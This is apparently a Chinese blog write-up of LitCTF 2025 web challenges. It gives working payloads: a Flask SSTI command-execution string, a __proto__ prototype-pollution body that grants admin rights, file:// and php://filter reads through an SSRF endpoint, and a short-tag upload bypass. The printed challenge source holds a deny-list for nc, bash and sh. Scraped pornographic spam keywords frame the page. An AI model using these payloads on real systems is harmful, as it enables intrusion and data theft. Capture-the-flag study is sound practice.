<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      LitCTF 2025 Web 詳解

      LitCTF 2025 Web

      這個比賽結束好久了,今天簡單復盤一下幾道Web題

      image-20250814210327944

      混了個優秀獎,還行,主要就是見好題呢

      image-20250814162640455

      nest_js

      弱口令admin/password,登錄進去就給flag

      ez_file

      登錄頁面源碼提示用file協議查看,存在文件包含利用點

      image-20250814163728723

      弱密碼admin/password直接登錄成功

      既然存在文件包含漏洞,后綴改為jpg即可

      image-20250814164608151

      看來對文件內容進行檢測了,一般是檢測 <? 或者 php 可以試著js或短標簽繞過

      image-20250814165027158

      短標簽繞過成功

      image-20250814165146654

      使用file進行包含利用即可

      image-20250814165254979

      星愿信箱

      直接就是一個輸入框,類似經典ssti的復讀機

      image-20250814173553139

      使用插件看出是flask框架,應該是python的ssti

      image-20250814173707379

      進行測試,發現{{}}似乎被ban了

      image-20250814173930594

      使用{%%}繞過

      image-20250814174022486

      使用hackbar中flask的payload直接直接利用即可

      {"cmd":"給我{%print(g.pop.__globals__.__builtins__['__import__']('os').popen('tac /f*').read())%}"}
      

      image-20250814174149105

      多重宇宙日記

      注冊后登錄進去

      image-20250814180734326

      可以通過json來更新設置,存在利用點,接著對JS源碼進行分析

      首先看表單提交處理部分,僅處理預設字段,結構固定,不能進行利用,但是提供了isAdmin這個管理員標識屬性

      // 監聽表單提交事件
      document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {
          event.preventDefault();
          const settingsPayload = {};
          // 收集表單中的theme和language字段
          if (formData.get('theme')) settingsPayload.theme = formData.get('theme');
          if (formData.get('language')) settingsPayload.language = formData.get('language');
      
          // 發送POST請求到更新接口
          const response = await fetch('/api/profile/update', {
              method: 'POST',
              headers: { 'Content-Type': 'application/json' },
              body: JSON.stringify({ settings: settingsPayload }) // 數據包裹在settings鍵下
          });
      
          // 成功后刷新頁面(關鍵注釋)
          if (response.ok) {
              setTimeout(() => window.location.reload(), 1000); // 若isAdmin改變則更新導航欄
          }
      });
      

      接下來看原始 JSON 提交處理,允許自定義任意 JSON 結構,包括嵌套的__proto__字段

      async function sendRawJson() {
          const rawJson = document.getElementById('rawJsonSettings').value;
          const parsedJson = JSON.parse(rawJson); // 解析用戶輸入的JSON
      
          // 直接發送用戶輸入的JSON數據到同一接口
          const response = await fetch('/api/profile/update', {
              method: 'POST',
              headers: { 'Content-Type': 'application/json' },
              body: JSON.stringify(parsedJson) // 無格式限制,完全由用戶控制
          });
      
          // 同樣在成功后刷新頁面
          if (response.ok) {
              setTimeout(() => window.location.reload(), 1000); // 關聯isAdmin狀態更新
          }
      }
      

      通過/api/profile/update接口進行__proto__注入:通過該字段將isAdmin: true寫入對象原型,實現全局污染。

      image-20250814181420732

      添加嵌套的__proto__字段進行原型鏈污染

      {"settings":{"theme":"123","language":"123","__proto__": {"isAdmin": true}}}
      

      更新后出現管理員面板,點擊即可獲得flag

      image-20250814181609395

      easy_signin

      初始頁面為403,目錄掃描獲取兩個路徑

      image-20250814202947164

      一個是狀態響應一個是登錄頁面

      在api.js中有一個路由,推測該接口可能存在文件讀取或遠程請求功能

      image-20250814203114610

      /api/sys/urlcode.php?url=php://filter/convert.base64-encode/resource=api/sys/urlcode.php
      

      直接讀取當然不行,使用php:// 協議讀取被禁了

      image-20250814203437625

      拼接路徑,使用file協議讀取源碼

      api/sys/urlcode.php?url=file:///var/www/html/api/sys/urlcode.php
      

      image-20250814203900359

      <?php
      error_reporting(0);
      
      function curl($url){
          $ch = curl_init();
          curl_setopt($ch, CURLOPT_URL, $url);
          curl_setopt($ch, CURLOPT_HEADER, 0);
          curl_exec($ch);
          curl_close($ch);
      }
      
      $url = $_REQUEST['url'];
      if($url){
      
          $forbidden_protocols = ['ftp://', 'php://', 'zlib://', 'data://', 'glob://', 'phar://', 'ssh2://', 'rar://', 'ogg://', 'expect://'];
          $protocol_block = false;
          foreach ($forbidden_protocols as $proto) {
              if (strpos($url, $proto) === 0) {  
                  $protocol_block = true;
                  break;
              }
          }
          $log_block = strpos($url, '.log') !== false;  
          
          if ($protocol_block) {
              echo "禁止訪問:不允許使用 {$proto} 協議";
          } elseif ($log_block) {
              echo "禁止訪問:URL 包含 .log";
          } elseif (strpos($url, 'login.php') !== false || strpos($url, 'dashboard.php') !== false || strpos($url, '327a6c4304ad5938eaf0efb6cc3e53dc.php') !== false) {
              echo "看不見哦";
          } else {
              echo "<b>".$url." 的快照如下:</b><br><br>";
              echo "<pre>";
              curl($url);
              include($url);
              echo "</pre>";
          }
      }
      ?>
      

      嘗試讀取限制的文件,一直改路徑都沒成功,直接訪問,獲取flag

      image-20250814204126115

      還有些大佬是登錄進去獲取了一個路由,進行SSRF讀取flag的

      登錄后路由給出路由backup/8e0132966053d4bf8b2dbe4ede25502b.php

      同樣拼接進行讀取

      view-source:http://node6.anna.nssctf.cn:21528/api/sys/urlcode.php?url=file:///var/www/html/backup/8e0132966053d4bf8b2dbe4ede25502b.php
      

      image-20250814204824572

      <?php
      if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
      highlight_file(__FILE__);
      
      $name="waf";
      $name = $_GET['name'];
      
      
      if (preg_match('/\b(nc|bash|sh)\b/i', $name)) {
          echo "waf!!";
          exit;
      }
      
      
      if (preg_match('/more|less|head|sort/', $name)) {
          echo "waf";
          exit;
      }
      
      
      if (preg_match('/tail|sed|cut|awk|strings|od|ping/', $name)) {
          echo "waf!";
          exit;
      }
      
      exec($name, $output, $return_var);
      echo "執行結果:\n";
      print_r($output);
      echo "\n返回碼:$return_var";
      } else {
          echo("非本地用戶");
      }
      
      ?>
      

      僅限本地訪問(REMOTE_ADDR == 127.0.0.1),只能通過SSRF繞過

      由于urlcode.php可發起本地請求(通過curlinclude),結合其未過濾http://協議的特性,構造 SSRF payload 進行RCE

      查找flag,二次url編碼后讀取上一個目錄找到一個php文件

      注:對目標路徑進行二次 URL 編碼,避免特殊字符被攔截

      image-20250814205326540

      同樣,只有訪問才能看見,不能進行讀取

      posted @ 2025-08-14 21:08  F0T0ne  閱讀(7)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 强开小雪的嫩苞又嫩又紧| 久久精品无码一区二区三区| 亚洲熟妇色xxxxx欧美老妇| 农村熟女大胆露脸自拍| 亚洲欧美v国产蜜芽tv | 久久99国产精品久久99| 日韩精品国产二区三区| 亚洲 日韩 国产 制服 在线| 国产精品人人爽人人做我的可爱| 亚洲 一区二区 在线| 国产精品视频不卡一区二区| 精品国产亚洲一区二区三区| 四虎影视库国产精品一区| 国产永久免费高清在线| 人妻丰满熟妇av无码区| 亚洲欧洲中文日韩久久av乱码| 黄骅市| 亚洲悠悠色综合中文字幕| 国产一区二区三区不卡观| 国产11一12周岁女毛片| 日本一区二区三区专线| 日韩精品亚洲精品第一页| 亚洲色成人一区二区三区人人澡人人妻人人爽人人蜜桃麻豆 | 美女一区二区三区亚洲麻豆| 极品白嫩少妇无套内谢| 中文字幕无码免费久久9一区9 | 九九综合va免费看| 精品久久久久无码| 在线a亚洲老鸭窝天堂| 国产精品看高国产精品不卡| 欧美激情一区二区| 精品亚洲香蕉久久综合网| 日本一区二区国产在线| 一卡二卡三卡四卡视频区| 久久国内精品一国内精品| 国产亚洲精品中文字幕| 国产高清一区二区三区视频| 人妻系列中文字幕精品| 亚洲区日韩精品中文字幕| 国产亚洲精品成人aa片新蒲金| 亚洲精品麻豆一二三区|